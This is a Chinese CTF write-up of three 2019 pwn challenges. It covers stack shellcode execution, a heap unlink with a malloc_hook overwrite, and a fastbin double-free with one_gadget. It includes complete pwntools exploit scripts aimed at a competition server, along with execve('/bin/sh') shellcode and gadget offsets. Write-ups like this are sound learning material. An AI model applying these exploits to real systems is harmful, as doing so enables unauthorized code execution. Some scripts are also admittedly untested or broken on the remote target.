• 2019 安恒周周练西湖论剑特别版 pwn 题目wp


    pwn1

    考点:构造 shellcode,patch 汇编指令

    IDA 查看反汇编,程序的逻辑很简单如,如果 直接 f5 的话 IDA 可能识别不出来函数,问题出在 0x080484CF 这个地方,call eax 指令识别不出来,所以这里可以先 patch 成 nop,之后 f5 就正常了

    程序把输入当成 shellcode 直接来执行,很显然是直接往栈上写 shellcode 了。checksec 检查保护的时候也可以验证这一点。

    gdb-peda$ checksec 
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : disabled
    PIE       : disabled
    RELRO     : Partial
    
    

    在这里找到 21 bytes 的 shellcode,但是最多只能输入 20 bytes。
    http://shell-storm.org/shellcode/files/shellcode-575.php

    所以这里我们想办法去掉一条指令即可,调试发现 ecx 本身就是 0,那么去掉 xor ecx ecx 即可。

    exp

    #!/usr/bin/python
    from pwn import *
    DEBUG = 0
    if DEBUG:
            r = process('./pwn_1')
            #elf = ELF('')
    else:
            r = remote('101.71.29.5',10000)
            #elf = ELF('')
    
    #shellcode = "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80x00"
    
    shellcode = "xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"
    
    # ecx = 0
    
    print "len: " + str(len(shellcode))
    r.sendline(shellcode)
    r.interactive()
    
    

    pwn2

    考点:unlink、uaf、堆溢出、开启 full relro、覆写 malloc_hook

    程序的漏洞点比较多,所以这里应该有多解。笔者这里用堆溢出后伪造堆块,构造一个 unlink 的方法来做

    首先检查一下保护:

    gdb-peda$ checksec 
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : disabled
    
    

    create_node 函数:

    int create_node()
    {
      int v0; // ebx
      int v2; // [rsp+Ch] [rbp-14h]
    
      printf("enter the index of the node you want to create:");
      __isoc99_scanf("%d", &v2);
      v0 = v2;
      name[v0] = malloc(0x80uLL);                   // small chunk
      return puts("create complete");
    }
    

    edit_node 函数

    int edit_node()
    {
      int v1; // [rsp+8h] [rbp-8h]
      int v2; // [rsp+Ch] [rbp-4h]
    
      printf("enter the index of the node you want to edit:");
      __isoc99_scanf("%d", &v2);
      printf("please enter the length of the input:", &v2);
      __isoc99_scanf("%d", &v1);
      getchar();
      printf("please enter the contents of the node:", &v1);
      fread(name[v2], v1, 1uLL, stdin);             // overflow
      return puts("edit compete!");
    }
    

    delete_node 函数

    int delete_node()
    {
      int v1; // [rsp+Ch] [rbp-4h]
    
      printf("enter the index of the node you want to create:");
      __isoc99_scanf("%d", &v1);
      free(name[v1]);
      return puts("delete complete!");
    }
    

    show_node 函数

    int show_node()
    {
      int v1; // [rsp+Ch] [rbp-4h]
    
      printf("enter the index of the node you want to create:");
      __isoc99_scanf("%d", &v1);
      return puts(name[v1]);
    }
    
    • 程序中还有一个后门函数

    首先有一个比较容易利用的点,在 edit_node 函数中我们可以输入 index 为一个负数,这里我们就可以更改 name 前面某个地址的指针的值

    got 表在 name 前面,很容易想到直接篡改 got 表值,这里 exit 函数在 -12 处。但是这里 RELRO 为 disabled,是无法正常写 got 表的。大佬说这个是

    失去动态链接的过程 而且不光 got 不能写 因为要对齐 所以至少1000个字节的范围

    所以这里正常的思路是在 edit_node 中利用长度没有限制的条件来伪造一个堆块,触发 unlink 漏洞,参考:https://www.jianshu.com/p/2776b6a79a11

    unlink 触发之后,再 edit 一次就可以在 name 的区域任意地址写,这里利用前面 uaf 漏洞 leak 出 libc 地址,之后往 malloc_hook 中写入后门函数,再 malloc 一次就 getshell 了。

    exp

    #!/usr/bin/python
    
    from pwn import *
    DEBUG = 0
    
    if DEBUG:
    	r = process('./pwn2')
    	main_arena_offset = 0x3C2760
    	elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    	malloc_hook_offset = elf.symbols['__malloc_hook']
    else:
    	r = remote('101.71.29.5',10001)
    	#elf = ELF('')
    	malloc_hook_offset = 0x00
    
    
    def create_node(idx):
    	r.sendlineafter("---------------------------",'1')
    	#r.sendlineafter("enter the index of the node you want to create:",str(idx))
    	#r.recvuntil(":")
    	r.sendline(str(idx))
    
    def edit_node(idx,length,content):
    	r.sendlineafter("---------------------------",'2')
    	r.sendline(str(idx))
    	r.sendline(str(length))
    	r.sendline(str(length))	
    
    def delete_node(idx):
    	r.sendlineafter("---------------------------",'3')
            r.sendline(str(idx))
    
    def show_node(idx):
    	r.sendlineafter("---------------------------",'4')
            r.sendline(str(idx))
    
    
    create_node(0)
    create_node(1)
    
    delete_node(0)
    show_node(0)
    
    r.recvuntil(":")
    main_arena_addr = u64(r.recv(6).ljust(8,'x00'))-0x58
    
    success("main_arena_addr: " + hex(main_arena_addr))
    libc_addr = main_arena_addr - main_arena_offset
    
    success("libc_addr: " + hex(libc_addr))
    #---------------------------------------------------
    
    create_node(0)
    
    create_node(2)
    create_node(3)
    create_node(4)
    
    payload = 'a' * 0x80 + p64(0) + p64(0x21)
    
    #edit_node(2,len(payload),payload)
    #edit_node(2,5,'aaaaa')
    #gdb.attach(r)
    
    #r.sendlineafter("---------------------------",'2
    ')
    #r.recvuntil("---------------------------")
    #r.sendline("2")
    
    r.recv()
    
    # unlink
    chunk_list = 0x6012b0
    payload = p64(0) +p64(0x81)
    payload += p64(chunk_list-24)
    payload += p64(chunk_list-16)
    payload += 'a' * 0x60
    payload += p64(0x80) + p64(0x90)
    
    r.sendline('2
    ')
    r.sendline('2
    ')
    r.sendline(str(len(payload)))
    r.sendline(payload)
    
    #gdb.attach(r)
    
    delete_node(3)
    
    r.recv()
    
    malloc_hook = libc_addr + malloc_hook_offset
    payload2 = p64(0x1111) + p64(malloc_hook)
    
    r.sendline('2
    ')
    r.sendline('2
    ')
    r.sendline(str(len(payload2)))
    r.sendline(payload2)
    #gdb.attach(r)
    
    r.recv()
    payload3 = p64(0x00000000004009B6)
    r.sendline('2
    ')
    r.sendline('0
    ')
    r.sendline(str(len(payload3)))
    r.sendline(payload3)
    
    create_node(4)
    
    r.interactive()
    
    

    pwn3

    考点:double free、uaf、覆写 malloc_hook

    这道题和前面那道挺像的,但是这个可以直接用 fastbins attack 的 double free 来做,会稍微简单点。关于 fastbins attack 的几种利用方法可以[看这里][https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247483708&idx=1&sn=3d99a896dd1fc366fdfaed3806d08a2a&chksm=fd711471ca069d67f59eee741245e444e07e209fe0ab46708a39ecdacd500f1c192a355d1f25&xtrack=1&scene=0&subscene=10000&clicktime=1553785691&ascene=7&devicetype=android-27&version=27000334&nettype=3gnet&abtest_cookie=BAABAAoACwASABMABQAjlx4AVpkeAMiZHgDVmR4A3JkeAAAA&lang=zh_CN&pass_ticket=SYONvOFMfHHU4cAl26RQ3nLCrJELqfUSx809QFoLolLe%2BQMEh16EkmM0KVgTuQSJ&wx_header=1]

    安全保护措施:

    gdb-peda$ checksec 
    CANARY    : ENABLED
    FORTIFY   : ENABLED
    NX        : ENABLED
    PIE       : ENABLED
    RELRO     : FULL
    

    保护全开,got 表也写不了。那只能写 malloc_hook 或者 free_hook

    首先看程序的代码:

    create 函数

    int create()
    {
      signed int size; // eax
      size_t v1; // rbx
      void *v2; // rbp
      __int64 v3; // rax
    
      if ( max_count > 15 )
        return puts("Enough");
      puts("Size:");
      size = sub_B60();
      if ( size > 128 )
        exit(-1);
      v1 = size;
      v2 = malloc(size);
      v3 = max_count++;
      chunk_list[v3] = v2;
      _printf_chk(1LL, "Content >");
      read(0, v2, v1);
      return puts("Done");
    }
    

    show 函数

    int sub_C70()
    {
      int v0; // eax
      __int64 v2; // rcx
    
      puts("Index:");
      v0 = sub_B60();
      if ( v0 < 0 || v0 >= max_count )
        return puts("Invalid Index");
      v2 = chunk_list[v0];
      return _printf_chk(1LL, "Buf[%d]:%s
    ");
    }
    

    delete 函数

    void sub_CD0()
    {
      int idx; // eax
      void *v1; // rdi
    
      puts("Index:");
      idx = sub_B60();
      if ( idx >= 0 && idx < max_count && (v1 = chunk_list[idx]) != 0LL )
        free(v1);
      else
        puts("Invalid Index");
    }
    

    思路:和上题一样的方法 leak 出 libc,拿到 one_gadget 地址之后,往 malloc_hook 中写入来 getshell。

    malloc 一个 0x80 的块之后 free 掉,先 leak 出 main_arena + 0x58 的地址,就可以计算出 main_arena 的地址,进而得到 libc 的地址(main_arena 偏移固定)

    create(128,"a")
    create(128,"b")
    
    delete(0)
    show(0)
    

    malloc 出三个 fastbin ,free 三个块之后再事先填充好伪造为 fd 值,构造 double free。

    create(0x60,'1')	# idx=3
    create(0x60,'2')	# idx=4
    create(0x60,'3')	# idx=5
    
    delete(3)		# double free
    delete(4)
    delete(3)
    

    利用 fastbins attack 的错位技术,在 malloc_hook 上面构造一个堆块,填充内容时就可以覆盖 malloc_hook 的值。

    one_gadget = libc_addr + one_gadget_offset
    payload = 'a' * 0x3 + p64(one_gadget)
    create(0x60,payload)
    

    接着 malloc 一次就可以 getshell。但是这里我在本地测试可以正常 shell,在远程利用时可能是 one_gadget 的地址偏移的原因,无法正常 getshell。

    exp

    #!/usr/bin/python
    from pwn import *
    DEBUG = 1
    
    if DEBUG:
    	r = process('./5b757f4345b70')
    	main_arena_offset = 0x3C2760
    	one_gadget_offset = 0xe9415
    	elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
    	r = remote('101.71.29.5',10002)
    #	r = remote('127.0.0.1',4000)
    	elf = ELF("./5b757f4347a22.so")
    	#elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    	main_arena_offset = 0x3C4B20
    	one_gadget_offset = 0xf02a4
    
    success("system offset: "+hex(elf.symbols['system']))
    success("free_hook_offset: "+hex(elf.symbols['__free_hook']))
    
    '''
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    '''
    
    def create(size,content):
    	r.sendlineafter("Choice>",'1')
    	r.sendlineafter("Size:",str(size))
    	r.sendlineafter("Content >",str(content))
    
    def show(idx):
    	r.sendlineafter("Choice>",'2')
    	r.sendlineafter("Index:",str(idx))
    	
    def delete(idx):
    	r.sendlineafter("Choice>",'3')
            r.sendlineafter("Index:",str(idx))
    
    create(128,"a")
    create(128,"b")
    
    delete(0)
    show(0)
    
    r.recvuntil(">Buf[0]:")
    main_arena_addr = u64(r.recv(6).ljust(8,'x00'))-0x58
    
    success("main_arena: "+hex(main_arena_addr))
    libc_addr = main_arena_addr-main_arena_offset
    
    success("libc_addr: "+hex(libc_addr))
    
    success("free_hook: "+hex(libc_addr+elf.symbols['__free_hook']))
    create(128,"c")
    
    create(0x60,'1')	# idx=3
    create(0x60,'2')	# idx=4
    create(0x60,'3')	# idx=5
    
    delete(3)		# double free
    delete(4)
    delete(3)
    
    #gdb.attach(r)
    
    malloc_hook_addr = main_arena_addr-0x33
    
    create(0x60,p64(malloc_hook_addr))	# fd
    create(0x60,'4')
    create(0x60,'5')
    
    # LOCAL ONE_GADGET
    
    '''
    0x46428 execve("/bin/sh", rsp+0x30, environ)
    0x4647c execve("/bin/sh", rsp+0x30, environ)
    0xe9415 execve("/bin/sh", rsp+0x50, environ)
    0xea36d execve("/bin/sh", rsp+0x70, environ)
    '''
    
    # REMOTE ONE_GADGET
    
    '''
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    '''
    
    one_gadget = libc_addr + one_gadget_offset
    
    payload = 'a' * 0x3 + p64(one_gadget)
    #payload = 'a' * 0x3 + p64(libc_addr + elf.symbols['__stack_chk_fail'])
    
    create(0x60,payload)
    
    gdb.attach(r)
    
    #r.sendlineafter("Choice>",'1')
    #r.sendlineafter("Size:","96")
    
    r.interactive("#> ")
    
    
  • 相关阅读:
    蓝桥杯 2014本科C++ B组 六角填数 枚举排列
    蓝桥杯 2014本科C++ B组 地宫取宝 DFS+记忆化搜索
    埃及分数 IDA*
    优先队列详解(转载)
    HDU 1242 Rescue BFS+优先队列
    HDU 1627 Krypton Factor
    2018中国机器人大赛服务机器人专项赛赛后总结
    OpenMP使用体验报告(概述)
    写在归程路上——2018ROBOCUP机器人世界杯中国赛
    ROS编译工作区缺少cv_bridge的问题解决
  • 原文地址:https://www.cnblogs.com/H4lo/p/10618539.html
Copyright © 2020-2023  润新知